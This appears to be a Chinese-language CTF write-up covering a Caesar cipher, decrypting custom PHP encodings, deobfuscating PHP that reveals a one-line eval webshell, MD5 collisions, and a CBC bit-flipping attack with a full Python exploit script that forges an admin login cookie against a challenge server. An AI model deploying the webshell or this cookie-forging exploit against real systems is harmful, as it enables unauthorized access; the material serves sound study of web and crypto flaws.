凯撒密码 凯撒密码通过替换字母完成加密,每个字母由字母表中其后特定位数的字母代替。例如,Julius Caesar将字母表的后移动3个字母的位置,然后用得到的新字母表中的字母替换原消息中的每个字母。
例如,消息中的每一个A都变成D,每个B都变成E等。当Caesar需要将字母表末尾的字母(如Y)移位时,他会绕回到字母表的开头,移动3个位置到B。在本节中,将使用凯撒密码手动加密消息
已知加密函数
<?php function encrypt ($data ,$key ) { $key = md5 ('ISCC' ); $x = 0 ; $len = strlen ($data ); $klen = strlen ($key ); for ($i =0 ; $i < $len ; $i ++) { if ($x == $klen ) { $x = 0 ; } $char .= $key [$x ]; $x +=1 ; } for ($i =0 ; $i < $len ; $i ++) { $str .= chr ((ord ($data [$i ]) + ord ($char [$i ])) % 128 ); } return base64_encode ($str ); } ?>
写出解密函数
import base64def decrypt (str ): text1=base64.b64decode(str ) key='729623334f0aa2784a1599fd374c120d729623' flag='' for i in range (len (text1)): flag +=chr ((ord (text1[i])-ord (key[i])+128 )%128 ) print (flag) if __name__ == '__main__' : str ='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=' decrypt(str )
php混淆加密 实例
<?php define ('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn' , __FILE__ );$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {3 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {6 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {33 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {30 };$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {33 } . ........?>
使用在线PHP混淆类在线破解网站
得到解密文件
<?php ?> <?php highlight_file (njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);@eval ($_POST [ymlisisisiook]); ?>
fastcoll 生成两个md5值一样的文件与 用md5工具Hash校验 fastcoll 生成两个md5值一样的文件]: https://www.zeroplace.cn/article.asp?id=886
str_rot13()函数逆向解密 打开发现加密字符
<?php $miwen ="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ;function encode ($str ) { $_o =strrev ($str ); for ($_0 =0 ;$_0 <strlen ($_o );$_0 ++){ $_c =substr ($_o ,$_0 ,1 ); $__ =ord ($_c )+1 ; $_c =chr ($__ ); $_ =$_ .$_c ; } return str_rot13 (strrev (base64_encode ($_ ))); } highlight_file (__FILE__ );$str = "flag" ;$a1 = encode ($str );echo $a1 ;?>
写出解密函数
<?php $miwen ="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ;function decode ($str ) { $_o = base64_decode (strrev (str_rot13 ($str ))); for ($_0 = 0 ; $_0 <strlen ($_o );$_0 ++){ $_c = substr ($_o ,$_0 ,1 ); $__ = ord ($_c )-1 ; $_c = chr ($__ ); $_ = $_ .$_c ; } return strrev ($_ );} echo decode ($miwen );
str_rot13() 函数对字符串执行 ROT13 编码。
ROT-13 编码是一种每一个字母被另一个字母代替的方法。这个代替字母是由原来的字母向前移动 13 个字母而得到的。数字和非字母字符保持不变。
语法
str_rot13(string)
参数
描述
string
必需。规定要编码的字符串。
提示和注释
提示:编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。
CBC字节翻转攻击
这里讲下为什么能把admil修改成admin 根据上图,我们可以知道CBC解密过程:
密文1=>解密密文1=>解密密文1 XOR 初始化向量(iv) = 明文1
密文2=>解密密文2=>解密密文2 XOR 密文1 = 明文2
密文3=>解密密文3=>解密密文3 XOR 密文2 = 明文3
以此类推,除了第一次,后面所以数据解密后都需要跟上一个密文进行异或得到明文。
从上面的解密过程可以推断出,当我们修改前一个密文的第N个字节时,会影响到后一个密文解密出来的明文的第N个字节。
例如:当我们修改密文1的第6个字节时,密文2解密时,解密后的密文2跟密文1进行异或操作,明文2的第6个字节也会受到影响。
异或特性: 解密得出明文的步骤使用了异或运算,而异或运算有个特性,是可以自定义异或结果的。 这里的讲解借用到大佬文章的讲解思路。
假设:A ^ B = C,则可得 B = A ^ C 当人为修改A=A ^ C时, A ^ B = A ^ C ^ B = B ^ B = 0 当人为修改A=A ^ C ^ x (x为任意数值)时, A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x 举例: 密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。 设:密文1[4] = A,解密(密文2)[4] = B,明文2[4] = C 因为A ^ B = C,根据结论有B = A ^ C 当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了 当人为修改A=A ^ C ^ x (x为任意数值)时,那么 A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。
首先进行代码审计
function login ($info ) { $iv = get_random_iv (); $plain = serialize ($info ); $cipher = openssl_encrypt ($plain , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv ); $_SESSION ['username' ] = $info ['username' ]; setcookie ("iv" , base64_encode ($iv )); setcookie ("cipher" , base64_encode ($cipher )); } function check_login ( ) { if (isset ($_COOKIE ['cipher' ]) && isset ($_COOKIE ['iv' ])){ $cipher = base64_decode ($_COOKIE ['cipher' ]); $iv = base64_decode ($_COOKIE ["iv" ]); if ($plain = openssl_decrypt ($cipher , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv )){ $info = unserialize ($plain ) or die ("<p>base64_decode('" .base64_encode ($plain )."') can't unserialize</p>" ); $_SESSION ['username' ] = $info ['username' ]; }else { die ("ERROR!" ); } } } function show_homepage ( ) { if ($_SESSION ["username" ]==='admin' ){ echo '<p>Hello admin</p>' ; echo '<p>Flag is $flag</p>' ; }else { echo '<p>hello ' .$_SESSION ['username' ].'</p>' ; echo '<p>Only admin can see flag</p>' ; } echo '<p><a href="loginout.php">Log out</a></p>' ; } if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])){ $username = (string )$_POST ['username' ]; $password = (string )$_POST ['password' ]; if ($username === 'admin' ){ exit ('<p>admin are not allowed to login</p>' ); }else { $info = array ('username' =>$username ,'password' =>$password ); login ($info ); show_homepage (); } }else { if (isset ($_SESSION ["username" ])){ check_login (); show_homepage (); }else { ................. }
以上代码考察了CBC翻转攻击的利用。它禁止直接提交用户名为admin进行登陆,但是返回flag的条件又是session中用户名要是admin。所以需要构造类似”xdmin”形式或者”axmin”等形式的用户名,之后通过修改iv和cipher,通过CBC翻转攻击将字符x还原成”admin”
代码中涉及到了序列化,数组序列化结果参考如下(这里使用ydmin和123作为username和password):
a:2:{s:8:"username";s:5:"ydmin";s:8:"password";s:3:"123"}
攻击过程如下:
1、修改能够得到的密文的第一块(前16个字节),使得第二块密文块结果的字符中ydmin能变成admin 2、由于操作1导致第一块密文块解密后得到错误结果,修正IV初始化向量,将第一块的明文结果还原成a:2:{s:8:"userna
写出python脚本
import base64import urllibimport requestsimport re session = "uubpkpbv56dtkiorccjc8md3r0" cipher = "gn5OKkTDH1CXJv9w11bK7JEqnhzhGSzVs84FNwZ2Zfi1c1PEeQdF1jUXn2lIy3SInj8pJiVajWEF73Fl%2BgLThA%3D%3D" iv = "PGUt3F%2FPwu93r7DGTBQvKg%3D%3D" iv_raw = base64.b64decode(urllib.unquote(iv)) cipher_raw = base64.b64decode(urllib.unquote(cipher)) cipher_new = cipher_raw[0 :9 ] + chr (ord (cipher_raw[9 ]) ^ ord ('y' ) ^ ord ('a' ) ) + cipher_raw[10 :] cipher_new = urllib.quote(base64.b64encode(cipher_new)) print cipher_newurl="http://118.89.219.210:49168/index.php" cooky={ "iv" :iv, "cipher" :cipher_new, "PHPSESSID" :session } proxy={ "http" :"http://192.168.155.1:8082" } x = requests.session() res = x.get(url, cookies=cooky, proxies=proxy) text = str (res.text) prog = re.compile ("decode\('(.*)'\)" ) match = prog.search(text) new_plain = "" if match: new_plain = match.group(1 ) new_plain = base64.b64decode(new_plain) real_first_blk = 'a:2:{s:8:"userna' iv_new="" for i in range (0 ,16 ): iv_new += chr (ord (iv_raw[i]) ^ ord (new_plain[i]) ^ ord (real_first_blk[i])) print urllib.quote(base64.b64encode(iv_new))
其中注意非常重要的一点当使用cookies进行访问时并不需要POST 提交username和passwd数据但是如果同时提交可能会出现未曾预料的效果